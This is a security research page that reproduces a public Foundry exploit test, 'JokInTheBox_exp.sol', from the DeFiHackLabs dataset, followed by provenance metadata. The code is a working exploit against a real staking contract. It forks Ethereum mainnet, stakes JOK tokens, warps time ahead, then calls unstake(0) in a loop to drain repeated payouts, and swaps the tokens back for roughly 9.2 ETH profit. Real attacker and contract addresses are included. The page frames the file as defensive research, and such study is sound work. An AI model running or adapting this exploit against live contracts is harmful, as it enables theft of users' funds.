Public reproduction file
src/test/2024-06/JokInTheBox_exp.sol
Public reproduction file for dataset entry JokInTheBox.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.10;3import "forge-std/Test.sol";4import "./../interface.sol";6// Profit : ~9.2 ETH7// Attacker: https://etherscan.io/address/0xfcd4acbc55df53fbc4c9d275e3495b490635f1138// Attack Contract: https://etherscan.io/address/0x9d3425d45df30183fda059c586543dcdeb5993e69// TX : https://etherscan.io/tx/0xe8277ef6ba8611bd12dc5a6e7ca4b984423bc0b3828159f83b466fdcf4fe054f13interface IJokInTheBox is IERC20 {14 struct LockPeriod {15 bool isValid;16 uint256 bonus;17 }19 function stake(uint256 amount, uint256 lockPeriod) external;20 function unstake(21 uint256 stakeIndex22 ) external;23 function validLockPeriods(24 uint25625 ) external view returns (LockPeriod memory);26}28contract JokInTheBoxExploit is Test {29 IJokInTheBox jokStake_ = IJokInTheBox(address(0xA6447f6156EFfD23EC3b57d5edD978349E4e192d));31 IERC20 jok_ = IERC20(address(0xA728Aa2De568766E2Fa4544Ec7A77f79c0bf9F97));32 IERC20 weth_ = IERC20(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));34 Uni_Router_V2 router_ = Uni_Router_V2(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));36 function setUp() public {37 vm.createSelectFork("mainnet", 20_054_628);38 jok_.approve(address(router_), type(uint256).max);39 jok_.approve(address(jokStake_), type(uint256).max);40 }42 function testExploit() public {43 address[] memory path = new address[](2);44 path[0] = address(weth_); // weth45 path[1] = address(jok_); // token47 vm.deal(address(this), 0.2 ether); // flashLoan48 router_.swapExactETHForTokens{value: 0.2 ether}(0, path, address(this), block.timestamp);50 jokStake_.stake(jok_.balanceOf(address(this)), 1);52 vm.warp(block.timestamp + 3 days);53 while (true) {54 try jokStake_.unstake(0) {}55 catch {56 break;57 }58 }60 path[0] = address(jok_); // token61 path[1] = address(weth_); // weth63 router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(64 jok_.balanceOf(address(this)), 0, path, address(this), block.timestamp65 );66 weth_.transfer(address(0xdead), 0.2 ether); //repay flashloan67 emit log_named_decimal_uint("weth profit = ", weth_.balanceOf(address(this)), 18);68 }69}Analysis
Dataset entry
Public Foundry test for “JokInTheBox” (2024-06-11). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-06/APEMAGA_exp.solSame month in the dataset · 66 lines
- src/test/2024-06/Bazaar_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/Crb2_exp.solSame month in the dataset · 101 lines
- src/test/2024-06/Dyson_money_exp.solSame month in the dataset · 108 lines
- src/test/2024-06/INcufi_exp.solSame month in the dataset · 208 lines
- src/test/2024-06/MineSTM_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/NCD_exp.solSame month in the dataset · 112 lines
- src/test/2024-06/SteamSwap_exp.solSame month in the dataset · 77 lines
- src/test/2024-06/UwuLend_First_exp.solSame month in the dataset · 620 lines
- src/test/2024-06/Velocore_exp.solSame month in the dataset · 159 lines
- src/test/2024-06/WIFCOIN_ETH_exp.solSame month in the dataset · 62 lines
- src/test/2024-06/Will_exp.solSame month in the dataset · 63 lines
- src/test/2024-06/YYS_exp.solSame month in the dataset · 79 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xfcd4acbc55df53fbc4c9d275e3495b490635f113
- Attack Contract
0x9d3425d45df30183fda059c586543dcdeb5993e6
File record
- Name
- JokInTheBox
- Path
- src/test/2024-06/JokInTheBox_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 94c45463f2b20160ff2b5739c5513d1b7c031b63
- Language
- Solidity
- Size
- 70 lines
- Date
- 2024-06-11
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-06/JokInTheBox_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 94c45463f2b20160ff2b5739c5513d1b7c031b63, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.